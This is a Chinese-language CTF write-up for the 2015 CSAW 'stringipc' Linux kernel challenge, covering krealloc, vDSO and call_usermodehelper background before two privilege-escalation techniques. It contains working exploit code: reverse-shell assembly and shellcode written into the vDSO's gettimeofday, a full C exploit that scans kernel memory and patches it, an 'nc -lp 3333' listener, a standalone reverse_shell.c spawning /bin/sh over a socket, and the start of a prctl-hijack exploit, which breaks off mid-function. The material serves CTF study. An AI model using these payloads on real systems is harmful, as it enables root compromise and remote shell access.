# 2015_csawctf

`pwn`

---

## stringipc

### 前置学习

#### krealloc()函数

当`krealloc()`的`new_size`参数不为 0 时，将返回值作为内存块起始地址。
而当`new_size`参数为 0 时，返回的值不为 0

```c
/**
 * krealloc - reallocate memory. The contents will remain unchanged.
 * @p: object to reallocate memory for.
 * @new_size: how many bytes of memory are required.
 * @flags: the type of memory to allocate.
 *
 * The contents of the object pointed to are preserved up to the
 * lesser of the new and old sizes.  If @p is %NULL, krealloc()
 * behaves exactly like kmalloc().  If @new_size is 0 and @p is not a
 * %NULL pointer, the object pointed to is freed.
 */
void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
    void *ret;

    if (unlikely(!new_size)) {
        kfree(p);
        return ZERO_SIZE_PTR;
    }

    ret = __do_krealloc(p, new_size, flags);
    if (ret && p != ret)
        kfree(p);

    return ret;
}
EXPORT_SYMBOL(krealloc);

#define ZERO_SIZE_PTR ((void *)16)
```

#### linux 的 idr 机制

`idr`即`ID Radix`,内核中通过`radix`树对`ID`进行组织和管理，是一种将整数`ID`和指针关联在一起的一种机制。
`radix`树基于以二进制表示的键值的查找树，尤其适合于处理非常长的、可变长度的键值。查找时，每个节点都存储着进行下一次的`bit`测试之前需要跳过的`bit`数目，查找效率比较高。

- `DEFINE_IDR(name)`：创建`struct idr`建立`radix`树；
- `int idr_alloc(struct idr *idr, void *ptr, int start, int end, gfp_t gfp_mask)`：分配一个`ID`(未占用最小值)，加入一个节点并将`ID`和指针关联；
- `static inline void *idr_find(struct idr *idr, int id)`：根据`ID`查找`radix`树，返回`ID`关联的指针。

### vdso

`VDSO`就是`Virtual Dynamic Shared Object`。
这个文件不在磁盘上，而是在内核里。内核把对应内存页在程序启动的时候**映射**入用户内存空间，对应的程序就可以当普通的`.so`来使用里面的函数。存放着一些使用频率高的内核调用，减少它们的开销。

`vdso`里的函数主要有五个,都是对时间要求比较高的。

- `clock_gettime`
- `gettimeofday`
- `time`
- `getcpu`
- `start` [main entry]

`VDSO`所在的页，在内核态是**可读、可写**的，而映射至用户空间后，用户态是**可读、可执行**的。
大致启动流程是，在`map_vdso()`函数中首先查找到一块用户态地址，将该块地址设置为`VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC`，利用`remap_pfn_range()`函数将内核页映射过去。

而最新的内核中，内核态也无法对`vdso`有写的权限，无法利用。
相关链接

```
Before:
        [    0.143067] vDSO @ ffffffff82004000
        [    0.143551] vDSO @ ffffffff82006000
        ---[ High Kernel Mapping ]---
        0xffffffff80000000-0xffffffff81000000      16M                             pmd
        0xffffffff81000000-0xffffffff81800000       8M     ro        PSE     GLB x   pmd
        0xffffffff81800000-0xffffffff819f3000    1996K     ro                GLB x   pte
        0xffffffff819f3000-0xffffffff81a00000      52K     ro                    NX  pte
        0xffffffff81a00000-0xffffffff81e00000       4M     ro        PSE     GLB NX  pmd
        0xffffffff81e00000-0xffffffff81e05000      20K     ro                GLB NX  pte
        0xffffffff81e05000-0xffffffff82000000    2028K     ro                    NX  pte
        0xffffffff82000000-0xffffffff8214f000    1340K     RW                GLB NX  pte
        0xffffffff8214f000-0xffffffff82281000    1224K     RW                    NX  pte
        0xffffffff82281000-0xffffffff82400000    1532K     RW                GLB NX  pte
        0xffffffff82400000-0xffffffff83200000      14M     RW        PSE     GLB NX  pmd
        0xffffffff83200000-0xffffffffc0000000     974M                             pmd

After:
        [    0.145062] vDSO @ ffffffff81da1000
        [    0.146057] vDSO @ ffffffff81da4000
        ---[ High Kernel Mapping ]---
        0xffffffff80000000-0xffffffff81000000      16M                             pmd
        0xffffffff81000000-0xffffffff81800000       8M     ro        PSE     GLB x   pmd
        0xffffffff81800000-0xffffffff819f3000    1996K     ro                GLB x   pte
        0xffffffff819f3000-0xffffffff81a00000      52K     ro                    NX  pte
        0xffffffff81a00000-0xffffffff81e00000       4M     ro        PSE     GLB NX  pmd
        0xffffffff81e00000-0xffffffff81e0b000      44K     ro                GLB NX  pte
        0xffffffff81e0b000-0xffffffff82000000    2004K     ro                    NX  pte
        0xffffffff82000000-0xffffffff8214c000    1328K     RW                GLB NX  pte
        0xffffffff8214c000-0xffffffff8227e000    1224K     RW                    NX  pte
        0xffffffff8227e000-0xffffffff82400000    1544K     RW                GLB NX  pte
        0xffffffff82400000-0xffffffff83200000      14M     RW        PSE     GLB NX  pmd
        0xffffffff83200000-0xffffffffc0000000     974M                             pmd
```

## call_usermodehelper

`call_usermodehelper`是内核运行用户程序的一个接口,并且该函数有`root`的权限。如果我们能够控制性的调用它，就能绕过缓解机制，以`Root`权限执行我们想要执行的程序了。

该接口定义在`kernel/umh.c`中

```c
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
    struct subprocess_info *info;
    gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

    info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
                     NULL, NULL, NULL);
    if (info == NULL)
        return -ENOMEM;

    return call_usermodehelper_exec(info, wait);
}
```

```c

struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
        char **envp, gfp_t gfp_mask,
        int (*init)(struct subprocess_info *info, struct cred *new),
        void (*cleanup)(struct subprocess_info *info),
        void *data)
{
    struct subprocess_info *sub_info;
    sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
    if (!sub_info)
        goto out;

    INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);

#ifdef CONFIG_STATIC_USERMODEHELPER
    sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
    sub_info->path = path;
#endif
    sub_info->argv = argv;
    sub_info->envp = envp;

    sub_info->cleanup = cleanup;
    sub_info->init = init;
    sub_info->data = data;
  out:
    return sub_info;
}
```

内核中有些函数，从内核调用了用户空间，例如`kernel/reboot.c`中的`__orderly_poweroff()`函数中执行了`run_cmd()`函数，参数是`poweroff_cmd`,而且`poweroff_cmd`是一个全局变量，可以修改后指向我们的命令。

（1）modprobe_path

```c
// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
    argv[0] = modprobe_path;
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
//try to load a kernel module
int __request_module(bool wait, const char *fmt, ...)
    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
```

触发：可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

( 2 ) uevent_helper

```
// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{   ......
    env->argv[0] = uevent_helper;
  ...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
               char *envp_ext[])
{......
    retval = init_uevent_argv(env, subsystem);
    info = call_usermodehelper_setup(env->argv[0], env->argv,
                         env->envp, GFP_KERNEL,
                         NULL, cleanup_uevent_env, env);
......}
```

( 3 ) ocfs2_hb_ctl_path

```
// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
    argv[0] = ocfs2_hb_ctl_path;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
```

( 4 ) nfs_cache_getent_prog

```
// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
                "/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
    char *argv[] = {
        nfs_cache_getent_prog,
        cd->name,
        entry_name,
        NULL
    };
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
```

( 5 ) cltrack_prog

```
// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
```

```c
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
    argv[0] = (char *)cltrack_prog;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
```

## 解题思路_vdso

```c
ipc_channel *__fastcall realloc_ipc_channel(ipc_state *state, __int64 id, size_t size, int grow)
{
  int v4; // edx
  int v5; // er13
  ipc_channel *result; // rax
  ipc_channel *v7; // rbx
  size_t v8; // r12
  __int64 v9; // rax

  _fentry__(state);
  v5 = v4;
  result = get_channel_by_id(state, id);
  v7 = result;
  if ( (unsigned __int64)result <= 0xFFFFFFFFFFFFF000LL )
  {
    if ( v5 )
      v8 = result->buf_size + id;
    else
      v8 = result->buf_size - id;
    v9 = krealloc(result->data, v8 + 1, 0x24000C0LL);
    if ( v9 )
    {
      v7->data = (char *)v9;
```

可知，当`v8=-1`时，返回值`v9=0x10`从而绕过判断。而构造该值时，也并没有对传入的`size`进行检查，`v8`即`size`可以为`0xffffffffffffffff`，而此后的检测所定义的`size`值均为`size_t`。所以通过题目中给出的`seek`、`read`、`write`功能就可以对内核及用户态地址任意读写。

> 首先明确一点，vDSO在用户态的权限是`R/X`，在内核态的权限是`R/W`，这导致了如下两种思路：
>
> 假如我们能控制RIP，就通过ROP执行内核函数`set_memory_rw()`来完成对用户态vdso段属性的更改，然后在用户态对vdso段的`gettimeofday()`函数代码进行覆盖为我们的 shellcode，该段是用户空间和内核空间共用，从而当本进程调用`gettimeofday()`函数的时候，就完成了对 shellcode 的执行提权。
>
> 假如我们实现的是任意地址写，就通过内核态的任意地址写来更改vdso段中`gettimeofday()`函数的内容，改为我们的 shellcode，当root权限的进程调用`gettimeofday()`函数的时候就完成了对 shellcode 的执行。

首先，利用内存任意读，查找内核中的`vdso`的逻辑页，和爆破`task_struct`不同的是，爆破vdso可以更加快速，第一可以确定`vdso`的范围在`0xffffffff80000000~0xffffffffffffefff`之间，第二该映射满足页对齐，第三它本身可以看作是一份`ELF`文件。

所以，设置搜索范围在`0xffffffff80000000~0xffffffffffffefff`中，每次仅查看页首的内容是否是ELF头

部(`0x00010102464c457f`)，保险起见还可以查看内部是否存在那些函数名，来查找。找到后，利用内存任意写，需要在指定位置写入数据，每个内核版本的`vdso`函数偏移都不一样，需要使用`gdb`将对应内存`dump`下来(毕竟可以看作`ELF`文件)。

```
gdb> dump binary memory filename addr_start addr_end
```

但因为缺失符号表等数据无法用`objdump`来查看，可以利用`ida pro`来查看到函数偏移，在函数头对应位置，写入伪造的`payload`来劫持。还要注意的是，有些内存空间缺失符号表而`gdb`无法查看，可以在编译时加上`-g`参数，来保存完整符号表。

```
0000000000C80 ; __int64 __fastcall gettimeofday(struct timeval *tv)
0000000000C80                 public gettimeofday ; weak
0000000000C80 gettimeofday    proc near               ; DATA XREF: LOAD:00000000000001F0↑o
0000000000C80                                         ; LOAD:0000000000000208↑o
0000000000C80
0000000000C80 var_28          = qword ptr -28h
0000000000C80 var_1C          = dword ptr -1Ch
0000000000C80
```

其次，`vDSO`在用户态的地址在高版本的`glibc`中可以直接使用`getauxval(AT_SYSINFO_EHDR)`来获取。当然，也可以用`cat /proc/self/maps`来获取，但要注意这句命令是子进程执行的，所以不能直接用。而是先获取本进程的`uid`后，再进行查看。

```
00400000-0040c000 r-xp 00000000 fd:01 664210                             /bin/cat
0060b000-0060c000 r--p 0000b000 fd:01 664210                             /bin/cat
0060c000-0060d000 rw-p 0000c000 fd:01 664210                             /bin/cat
0173a000-0175b000 rw-p 00000000 00:00 0                                  [heap]
7f89330f7000-7f89333cf000 r--p 00000000 fd:01 277516                     /usr/lib/locale/locale-archive
7f89333cf000-7f893358f000 r-xp 00000000 fd:01 1190676                    /lib/x86_64-linux-gnu/libc-2.23.so
7f893358f000-7f893378f000 ---p 001c0000 fd:01 1190676                    /lib/x86_64-linux-gnu/libc-2.23.so
7f893378f000-7f8933793000 r--p 001c0000 fd:01 1190676                    /lib/x86_64-linux-gnu/libc-2.23.so
7f8933793000-7f8933795000 rw-p 001c4000 fd:01 1190676                    /lib/x86_64-linux-gnu/libc-2.23.so
7f8933795000-7f8933799000 rw-p 00000000 00:00 0
7f8933799000-7f89337bf000 r-xp 00000000 fd:01 1180153                    /lib/x86_64-linux-gnu/ld-2.23.so
7f8933990000-7f89339b5000 rw-p 00000000 00:00 0
7f89339be000-7f89339bf000 r--p 00025000 fd:01 1180153                    /lib/x86_64-linux-gnu/ld-2.23.so
7f89339bf000-7f89339c0000 rw-p 00026000 fd:01 1180153                    /lib/x86_64-linux-gnu/ld-2.23.so
7f89339c0000-7f89339c1000 rw-p 00000000 00:00 0
7ffecb690000-7ffecb6b1000 rw-p 00000000 00:00 0                          [stack]
7ffecb785000-7ffecb787000 r--p 00000000 00:00 0                          [vvar]
7ffecb787000-7ffecb789000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
```

最后，等待某`root`进程或者高权限的进程调用这个函数就可以利用反弹`shell`完成提权。这种方法并不直接提权，而是采用守株待兔的方法，等待其他高权限进程触发，而返回`shell`。

所以在`payload`里，首先检测进程的`uid`来选择执行`gettimeofday`，还是开个子进程来执行反弹`shell`提权。

```
nop
push rbx
```

```
xor rax,rax
mov al, 0x66
syscall #check uid
xor rbx,rbx
cmp rbx,rax
jne emulate

xor rax,rax
mov al,0x39
syscall #fork
xor rbx,rbx
cmp rax,rbx
je connectback

emulate:
pop rbx
xor rax,rax
mov al,0x60
syscall
retq

connectback:
xor rdx,rdx
pushq 0x1
pop rsi
pushq 0x2
pop rdi
pushq 0x29
pop rax
syscall #socket

xchg rdi,rax
push rax
mov rcx, 0xfeffff80faf2fffd
not rcx
push rcx
mov rsi,rsp
pushq 0x10
pop rdx
pushq 0x2a
pop rax
syscall #connect

xor rbx,rbx
cmp rax,rbx
je sh
xor rax,rax
mov al,0xe7
syscall #exit

sh:
nop
```

```
pushq 0x3
pop rsi
duploop:
pushq 0x21
pop rax
dec rsi
syscall #dup
jne duploop

mov rbx,0xff978cd091969dd0
not rbx
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
xor rdx,rdx
mov al,0x3b
syscall #execve
xor rax,rax
mov al,0xe7
syscall
```

## exp_vdso

其中，`hexdump()`函数可以形象的把数据呈现出来。

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8


```

```c
struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

static void hexdump(const void* buf, unsigned long size)
{
    int col = 0, off = 0;
    unsigned char* p = (unsigned char*)buf;
    char chr[16];

    while (size--) {
        if (!col)
            printf("\t%08x:", off);
        chr[col] = *p;
        printf(" %02x", *p++);
        off++;
        col++;
        if (!(col % 16)) {
            printf("\t");
            for (int i=0; i<16; i++)
```

```c
                printf("%c", chr[i]);
            printf("\n");
            col = 0;
        } else if (!(col % 4))
            printf("  ");
    }
    for (int i=0; i<off%16; i++)
        printf("%c", chr[i]);
    puts("");
}


void show_vdso_userspace(){
    unsigned long addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return ;
    }
}
int check_vsdo_shellcode(char *shellcode){
    char *addr;
    addr = (char *)getauxval(AT_SYSINFO_EHDR);
    printf("vdso: 0x%lx\n", (unsigned long *)addr);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return 0;
    }

    for(int i=0;i<strlen(shellcode);i++){
        if (*(addr+0xc80+i) != shellcode[i])
            return 0;
    }
    return 1;
}

int main(){
    int fd = -1;
    unsigned long result = 0;
    struct alloc_channel_args alloc_args;
    struct shrink_channel_args shrink_args;
    struct seek_channel_args seek_args;
    struct read_channel_args read_args;
    struct close_channel_args close_args;
    struct write_channel_args write_args;
    unsigned long addr;

    char shellcode[] =
"\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\
39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31
xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x8
\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x
```

```
8\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\
0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53
x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x0
";

    char *buf = malloc(0x1000);

    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
        puts("[-] open error");
        exit(-1);
    }

    alloc_args.buf_size = 0x100;
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    if (alloc_args.id == -1){
        puts("[-] alloc_channel error");
        exit(-1);
    }
    printf("[+] now we get a channel %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100+1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[+] we can read and write any momery");

    for(addr=0xffffffff80000000;addr<0xffffffffffffefff;addr+=0x1000){
        seek_args.id =  alloc_args.id;
        seek_args.index = addr-0x10 ;
        seek_args.whence= SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);

        read_args.id = alloc_args.id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        if(((*(unsigned long *)(buf) == 0x00010102464c457f)) ){ //elf head
            result = addr;
            printf("[+] found vdso: 0x%lx\n",result);
            break;
        }
    }
    if(result == 0){
        puts("not found , try again ");
        exit(-1);
    }
    ioctl(fd,CSAW_CLOSE_CHANNEL,&close_args);

    seek_args.id =  alloc_args.id;
    seek_args.index = result-0x10+0xc80 ;
    seek_args.whence= SEEK_SET;
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
```

```c

    write_args.id = alloc_args.id;
    write_args.buf = shellcode;
    write_args.count = strlen(shellcode);
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

    if(check_vsdo_shellcode(shellcode)){
        puts("[+] shellcode is written into vdso, waiting for a reverse shell :");

        system("nc -lp 3333");
    }
    else{
        puts("[-] someting wrong ... ");
        exit(-1);
    }
    return 0;
}
```

## 解题思路_hijack_prctl

首先，还是要完成地址任意读写的前提要求。
linux中，有一个系统调用是`prctl`。可以修改进程的相关属性，这是用户态可以调用的系统调用。

```c
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
        unsigned long, arg4, unsigned long, arg5)
{
    struct task_struct *me = current;
    unsigned char comm[sizeof(me->comm)];
    long error;

    error = security_task_prctl(option, arg2, arg3, arg4, arg5);
    if (error != -ENOSYS)
        return error;
[...]
}
```

可以看出，`prctl`系统调用内部先将参数原封不动的传给`security_task_prctl()`函数去处理，而它会调用到`security_hook_list`结构体`hp`的虚表`hook`中的`task_prctl`去执行。

```c
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
             unsigned long arg4, unsigned long arg5)
{
    int thisrc;
    int rc = -ENOSYS;
    struct security_hook_list *hp;

    hlist_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
        thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
```

```
        if (thisrc != -ENOSYS) {
            rc = thisrc;
            if (thisrc != 0)
                break;
        }
    }
    return rc;
}
```

这样，就找到一个可以通过用户态传最多5个参数，并且在内核态原封不动执行的虚函数。修改该虚表中的地址，指向篡改的指针，任意执行那个函数。

> 在32位下的利用方法即为通过`VDSO`提权。
> 先通过劫持`task_prctl`，将其修改成为`set_memory_rw()`函数。然后传入用户态`VDSO`的地址，将用户态`VDSO`修改成为可写的属性。之后的步骤就和劫持`VDSO`方法是一样的了。
> 但是**在64位下存在问题**：
> `prctl`第一个参数是 int 类型，在64位下传参会被截断。

是要劫持`task_prctl`到`call_usermodehelper`吗？
不对，因为这里的第一个参数也是64位的，也不能直接劫持过来。
但是内核中有些代码片段是调用了`Call_usermodehelper`的，可以转化为我们所用，通过它们来执行用户代码或访问用户数据。

```
static void poweroff_work_func(struct work_struct *work)
{
    __orderly_poweroff(poweroff_force);
}

static int __orderly_poweroff(bool force)
{
    int ret;

    ret = run_cmd(poweroff_cmd);

    if (ret && force) {
        pr_warn("Failed to start orderly shutdown: forcing the issue\n");

        emergency_sync();
        kernel_power_off();
    }

    return ret;
}

static int run_cmd(const char *cmd)
{
```

```c
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        //重点调用
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }

    return ret;
}
```

整体操作方法：

1. 泄露出相应的内核地址，分别是`security_task_prctl`、`prctl_hook_task`、`poweroff_work_func`、`poweroff_cmd`、`selinux_disable`
2. 劫持`task_prctl`为`selinux_disable()`函数地址
3. 执行`prctl`系统调用，使`selinux`失效
4. 篡改`poweroff_cmd` = 预期执行的命令
2. 劫持`task_prctl`为`poweroff_work_func()`函数地址
3. 执行`prctl`系统调用

那么，如何获取关键系统函数和全局变量的偏移地址

第一处：

```
(gdb) x/30i 0xffffffff813467b0
   0xffffffff813467b0:  data16 data16 data16 xchg ax,ax
   0xffffffff813467b5:  push   rbp
   0xffffffff813467b6:  mov    rbp,rsp
   0xffffffff813467b9:  push   r15
   0xffffffff813467bb:  push   r14
   0xffffffff813467bd:  push   r13
   0xffffffff813467bf:  push   r12
   0xffffffff813467c1:  mov    r15d,0xffffffda
   0xffffffff813467c7:  push   rbx
   0xffffffff813467c8:  sub    rsp,0x10
   0xffffffff813467cc:
    mov    rbx,QWORD PTR [rip+0xb71d9d]        # 0xffffffff81eb8570
   0xffffffff813467d3:  mov    QWORD PTR [rbp-0x30],rcx
   0xffffffff813467d7:  mov    QWORD PTR [rbp-0x38],r8
   0xffffffff813467db:  cmp    rbx,0xffffffff81eb8570
   0xffffffff813467e2:  je     0xffffffff81346819
   0xffffffff813467e4:  mov    r14d,edi
   0xffffffff813467e7:  mov    r13,rsi
   0xffffffff813467ea:  mov    r12,rdx
   0xffffffff813467ed:  mov    r8,QWORD PTR [rbp-0x38]
   0xffffffff813467f1:  mov    rcx,QWORD PTR [rbp-0x30]
   0xffffffff813467f5:  mov    rdx,r12
   0xffffffff813467f8:  mov    rsi,r13
   0xffffffff813467fb:  mov    edi,r14d
   0xffffffff813467fe:  call   QWORD PTR [rbx+0x18]
```

获取`security_task_prctl()`函数地址后，使用`gdb`查看，在第一个`call QWRD PTR [rbx+0x18]`处，即是`prctl_hook_task`的地址。

```
┌──────────────────────────────────────────────────────────────┐
│0xffffffff813467e7      mov    r13,rsi                        │
│0xffffffff813467ea      mov    r12,rdx                        │
│0xffffffff813467ed      mov    r8,QWORD PTR [rbp-0x38]        │
│0xffffffff813467f1      mov    rcx,QWORD PTR [rbp-0x30]       │
│0xffffffff813467f5      mov    rdx,r12                        │
│0xffffffff813467f8      mov    rsi,r13                        │
>│0xffffffff813467fb      mov    edi,r14d                       │
│0xffffffff813467fe      call   QWORD PTR [rbx+0x18]           │
│0xffffffff81346801      cmp    eax,0xffffffda                 │
│0xffffffff81346804      je     0xffffffff8134680d             │
└──────────────────────────────────────────────────────────────┘
remote Thread 1.1 In:                      L??   PC: 0xffffffff813467fb
0xffffffff813467e4 in ?? ()
0xffffffff813467e7 in ?? ()
0xffffffff813467ea in ?? ()
0xffffffff813467ed in ?? ()
0xffffffff813467f1 in ?? ()
0xffffffff813467f5 in ?? ()
0xffffffff813467f8 in ?? ()
0xffffffff813467fb in ?? ()
(gdb) x/gx $rbx
0xffffffff81eb7de0:     0xffffffff81ec0ca0
```

第二处：

```
(gdb) x/30i 0xffffffff810a39c0
   0xffffffff810a39c0:  data16 data16 data16 xchg ax,ax
   0xffffffff810a39c5:  push   rbp
   0xffffffff810a39c6:  mov    rdi,0xffffffff81e4dfa0
   0xffffffff810a39cd:  mov    rbp,rsp
   0xffffffff810a39d0:  push   rbx
   0xffffffff810a39d1:
    movzx  ebx,BYTE PTR [rip+0x1157ad8]        # 0xffffffff821fb4b0
   0xffffffff810a39d8:  call   0xffffffff810a34e0
   0xffffffff810a39dd:  test   eax,eax
   0xffffffff810a39df:  je     0xffffffff810a39e5
```

获取`poweroff_work_func()`函数地址后，使用`gdb`查看，在第一个`call xxx`处，是`run_cmd()`函数的调用，而它的rdi参数，即是`poweroff_cmd`的地址。

```
B+ |0xffffffff810a39c0      data16 data16 data16 xchg ax,ax
   |0xffffffff810a39c5      push   rbp
   |0xffffffff810a39c6      mov    rdi,0xffffffff81e4dfa0
   |0xffffffff810a39cd      mov    rbp,rsp
   |0xffffffff810a39d0      push   rbx
   |0xffffffff810a39d1      movzx  ebx,BYTE PTR [rip+0x1157ad8]
  >|0xffffffff810a39d8      call   0xffffffff810a34e0
   |0xffffffff810a39dd      test   eax,eax
   |0xffffffff810a39df      je     0xffffffff810a39e5
   |0xffffffff810a39e1      test   bl,bl

remote Thread 1.1 In:                      L??   PC: 0xffffffff810a39d8
Breakpoint 2, 0xffffffff810a39c0 in ?? ()
(gdb) si
0xffffffff810a39c5 in ?? ()
0xffffffff810a39c6 in ?? ()
0xffffffff810a39cd in ?? ()
0xffffffff810a39d0 in ?? ()
0xffffffff810a39d1 in ?? ()
0xffffffff810a39d8 in ?? ()
(gdb) x/gx $rdi
0xffffffff81e4dfa0:     0x657372657665722f
```

ps. `linux_v5`版本后，汇编代码有所变化，虽然`task_prctl`地址是`[rbx+0x18]`处，但无法被修改。

## exp_hijack_prctl

反弹`shell`的执行文件

```c
//reverse_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc,char *argv[])
{
    int sockfd,numbytes;
```

```c
    char buf[BUFSIZ];
    struct sockaddr_in addr;
    while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
    printf("We get the sockfd~\n");
    addr.sin_family = AF_INET;
    addr.sin_port = htons(23333);
    addr.sin_addr.s_addr=inet_addr("127.0.0.1");
    bzero(&(addr.sin_zero), 8);

    while(connect(sockfd,(struct sockaddr*)&addr,sizeof(struct sockaddr)) == -1);
    dup2(sockfd,0);
    dup2(sockfd,1);
    dup2(sockfd,2);
    system("/bin/sh");
    return 0;
}
```

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/ioctl.h>
#include <unistd.h>



#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8


struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
```

```c
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

int main(){
    int fd = -1;
    size_t result = 0;
    struct alloc_channel_args alloc_args;
    struct shrink_channel_args shrink_args;
    struct seek_channel_args seek_args;
